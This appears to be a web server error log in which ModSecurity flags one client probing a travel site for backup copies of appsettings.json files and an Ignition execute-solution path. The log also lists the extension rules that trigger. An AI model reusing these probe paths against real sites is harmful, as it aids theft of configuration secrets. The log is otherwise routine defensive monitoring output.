[Fri Jul 17 08:55:20.475344 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/appsettings.json~"] [unique_id "almgoKquHSHoCJK_V0SBXwAAABs"]
[Fri Jul 17 08:55:20.475395 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/appsettings.json.bak"] [unique_id "almgoFCBpfuYyhJ140vSuQAAAB4"]
[Fri Jul 17 08:55:20.475490 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.475530 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.475635 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoKquHSHoCJK_V0SBXwAAABs"]
[Fri Jul 17 08:55:20.475710 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoFCBpfuYyhJ140vSuQAAAB4"]
[Fri Jul 17 08:55:20.483255 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/appsettings.json.old"] [unique_id "almgoC0HS8lGbZyK8qt3LgAAACM"]
[Fri Jul 17 08:55:20.483949 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/appsettings.json.old"] [unique_id "almgoC0HS8lGbZyK8qt3LgAAACM"]
[Fri Jul 17 08:55:20.484110 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.484307 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoC0HS8lGbZyK8qt3LgAAACM"]
[Fri Jul 17 08:55:20.484385 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.486609 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.488112 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/appsettings.json.swp"] [unique_id "almgoEkXT4NBqALj2lZ8xgAAABA"]
[Fri Jul 17 08:55:20.488817 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/appsettings.json.swp"] [unique_id "almgoEkXT4NBqALj2lZ8xgAAABA"]
[Fri Jul 17 08:55:20.490759 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.490943 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoEkXT4NBqALj2lZ8xgAAABA"]
[Fri Jul 17 08:55:20.491960 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.494483 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/appsettings.json.backup"] [unique_id "almgoPwooI4qY7Jg93pVbgAAABM"]
[Fri Jul 17 08:55:20.495005 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/appsettings.json.backup"] [unique_id "almgoPwooI4qY7Jg93pVbgAAABM"]
[Fri Jul 17 08:55:20.495147 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.495289 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoPwooI4qY7Jg93pVbgAAABM"]
[Fri Jul 17 08:55:20.498649 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.504871 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.505604 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.506939 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.508430 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/appsettings.Production.json.bak"] [unique_id "almgoKquHSHoCJK_V0SBYAAAABs"]
[Fri Jul 17 08:55:20.508971 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/appsettings.Production.json.bak"] [unique_id "almgoKquHSHoCJK_V0SBYAAAABs"]
[Fri Jul 17 08:55:20.509130 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.509268 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoKquHSHoCJK_V0SBYAAAABs"]
[Fri Jul 17 08:55:20.520163 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".json~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/appsettings.Production.json~"] [unique_id "almgoFCBpfuYyhJ140vSugAAAB4"]
[Fri Jul 17 08:55:20.520899 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/appsettings.Production.json~"] [unique_id "almgoFCBpfuYyhJ140vSugAAAB4"]
[Fri Jul 17 08:55:20.521102 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.521284 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoFCBpfuYyhJ140vSugAAAB4"]
[Fri Jul 17 08:55:20.522538 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php/_ignition/execute-solution) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.528428 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/appsettings.Production.json.old"] [unique_id "almgoC0HS8lGbZyK8qt3LwAAACM"]
[Fri Jul 17 08:55:20.529252 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/appsettings.Production.json.old"] [unique_id "almgoC0HS8lGbZyK8qt3LwAAACM"]
[Fri Jul 17 08:55:20.529443 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.529639 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgoC0HS8lGbZyK8qt3LwAAACM"]
[Fri Jul 17 08:55:20.530836 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.534232 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:20.540257 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/appsettings.Production.json.swp"] [unique_id "almgoPwooI4qY7Jg93pVbwAAABM"]
[Fri Jul 17 08:55:20.541095 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/appsettings.Production.json.swp"] [unique_id "almgoPwooI4qY7Jg93pVbwAAABM"]
